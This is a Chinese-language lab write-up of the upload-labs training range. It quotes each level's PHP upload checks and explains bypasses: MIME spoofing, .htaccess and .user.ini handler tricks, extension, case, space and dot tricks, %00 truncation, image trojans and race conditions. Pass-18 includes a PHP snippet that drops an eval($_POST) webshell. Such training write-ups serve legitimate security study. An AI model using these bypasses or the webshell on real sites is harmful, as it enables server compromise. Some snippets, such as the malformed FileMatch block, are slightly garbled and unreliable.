upload-labs通关记录

前言

本篇文章记录upload-labs中，所有的通过技巧和各种绕过手法 ，各位看官，若有什么想法，欢迎分享到评论区

1.pass-01

前端js绕过

function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;alert(errMsg);return false;}
}

看完之后，就可以发现，这是白名单过滤，只允许图片格式上传

发现弹窗,猜到这是一个js前端验证,绕过方法,只需要将写有一句话木马的文件后缀改为.jpg,然后在抓包修改后缀即可

加GIF89a，是让我们清除的判断，上传的文件有没有被解析

2.pass-02

文件类型绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '文件类型不正确，请重新上传！';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';}
}

只判断文件类型是否是图片类型，抓包修改成image/jpeg就可以了

3.pass-03

畸形后缀名绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

黑名单过滤，限制大小写；::$DATA；结尾加空格；结尾加点，
将上传的文件名改为年月日时分秒+1000-9999的随机数+原来的文件名

他将路径告诉我们，就方便多了，这题考查的是畸形后缀名，可以使用php3,phtml,php5等方法绕过
如果不可以，那就是Apache的配置文件httpd.conf不允许，修改httpd.conf
将AddType application/x-httpd-php .php .phtml .phps .php5 .pht前面的#去掉

4.pass-04

.htaccess绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

过滤了很多危险的后缀，但是他漏掉了.htaccess配置文件

 .htaccess是Apache服务器中分布式配置文件，该配置文件会覆盖Apache服务器中的全局配置
就是将.jpg文件当成php去解析<FileMatch "jpg">
SetHandler application/x-httpd-php
<FileMatch>

5.pass-05

.user.ini绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

过滤加上了.hhaccess文件，但没有写.user.ini文件，php.ini 是 php的配置文件，.user.ini 中的字段也会被 php 视为配置文件来处理，从而导致 php 的文件解析漏洞。

使用.user.ini文件的前提是：网页代码为php，上传目录中有php文件，使用CGI/FastCGI解析php
.user.ini内容：auto_prepend_file=muma.jpg
意思是:当访问任意的php文件时，会将指定的muma.jpg文件的内容拼接到访问的php文件内

访问readme.php即可

还有第二种方法，就是上传.php. .绕过(点空格点)

6.pass-06

大小写绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

将配置文件和危险的后缀名，几乎都过滤了，但是它过滤将大小写放开了strtolower()，

7.pass-07

空格绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

减少了空格的匹配，可以通过在末尾加空格绕过

8.pass-08

加点绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

取消了对后缀点的绕过

9.pass-09

::$DATA绕过

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空

window在解析php时：如果文件名+“::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名，且保持”::$DATA"之前的文件名

10.pass-10

if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空

和第5关一样,点空格点绕过,利用win的特性：从后往前检测，但是遇到空格会停下来，不再检测

11.pass-11

双写绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

str_ireplace()函数，查看文件名是否在黑名单，如果在，将文件后缀替换为空，只替换一次，双写绕过

12.pass-12

GET %00截断绕过
需要php的版本号低于5.3.29，且magic_quotes_gpc为关闭状态

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错！';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件！";}
}

substr()函数：截取字符串
substr($a,$b,$c):          $a是要截取的字符串；   $b是开始截取的位置         $c(可选):截取长度
substr('abcdefg',2,2)         ---->cd
strrpos()函数：查找字符串在另一字符串中最后一次出现的位置
strrpos('abcdefge','e')           ------>7

%00在url解码后，是ASCII码中的0（NULL）即为空，在系统解析中若遇到%00就代表结束符，就不会继续向后检测

这里我一直上传不成功，原因可能是用的在线的靶机测试的，但方法是对的，这种%00截断绕过，对服务器的版本和配置文件都有要求,·连接的时候只需要连接*****/upload/123.php就可以了

13.pass-13

POST %00截断

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件！";

在…/upload/后面加上123.php+，加号是为了定位数据，方便修改hex值
为什么要在hex值中去改呢？
因为POST请求和GET请求不一样，POST请求不会对请求体进行解析

加号的hex值是2b，也可以在右边找到+号，进行修改

修改成00后，放包

毫无疑问，在线靶机还是不行。不过思路是对的

14.pass-14

图片马绕过·

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知，上传失败！";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错！";}}
}

本关对文件头的前两个字节进行检测，我们知道不同文件的文件头都不一样，所以直接写一句话木马不行了，要在图片中加入木马绕过，前提是有文件包含漏洞，不然没法解析图片中的木马，图片马绕过我之前写过一篇，就不再赘述了，想要了解的请移步https://blog.csdn.net/woshicainiao666/article/details/136175763

文件头类型
JPEG (jpg)，文件头：FFD8FFE1
PNG (png)，文件头：89504E47
GIF (gif)，文件头：47494638
TIFF (tif)，文件头：49492A00
Windows Bitmap (bmp)，文件头：424D
CAD (dwg)，文件头：41433130
Adobe Photoshop (psd)，文件头：38425053
Rich Text Format (rtf)，文件头：7B5C727466
XML (xml)，文件头：3C3F786D6C

提示文件包含的地点，点击就会跳转

15.pass-15

getimagesize() 函数用于获取图像大小及相关信息，成功返回一个数组，失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

上一题的图片马在这依然适用，就不过多的赘述了

16.pass-16

本题需要开启php_exif

方法同上一样

17.pass-17

二次渲染绕过

}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片！";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片（使用用户上传图片生成的新图片）$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错！";

通过代码分析，了解到作者将文件后缀和文件类型进行了对比，还将文件进行imagecreatefromgif（）函数判断，如果不是gif，就会删除文件；如果以上都满足，则给文件一个新名字，并且经过二次渲染(在原图片上动点手脚的意思)成为一个新的图片，删除原文件。

使用010editor打开.gif文件，在中间写上一句话木马，抓包上传，

图片上传后，下载被二次渲染的图片，使用010editor打开，发现木马位置被渲染成其他样子，无法被PHP解析，漏洞利用的点就是，二次渲染后与原始gif对比，找到没有被渲染影响的位置，进行写入木马，png格式和gif上传的方法不一样，这里只说gif上传

17关详细通关技巧

18.pass-18

条件竞争

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件！";unlink($upload_file);}}else{$msg = '上传出错！';}
}

通过代码分析，上传的图片先是上传到服务器，在进行修改名字，然后再通过unlink()删除文件，所以利用文件先上传到服务器，然后在做其他事情，可以通过上传超量的文件，使服务器执行速度下降，利用还未来得及删除的恶意文件，进行操作

访问123.php,就会生成shell.php文件
//123.php
<?phpfputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>

19.pass-19

上传图片，发现保存位置不在upload目录下，通过代码分析和18关一样先上传后验证，条件竞争
不过这关要上传图片马，利用文件包含进行操作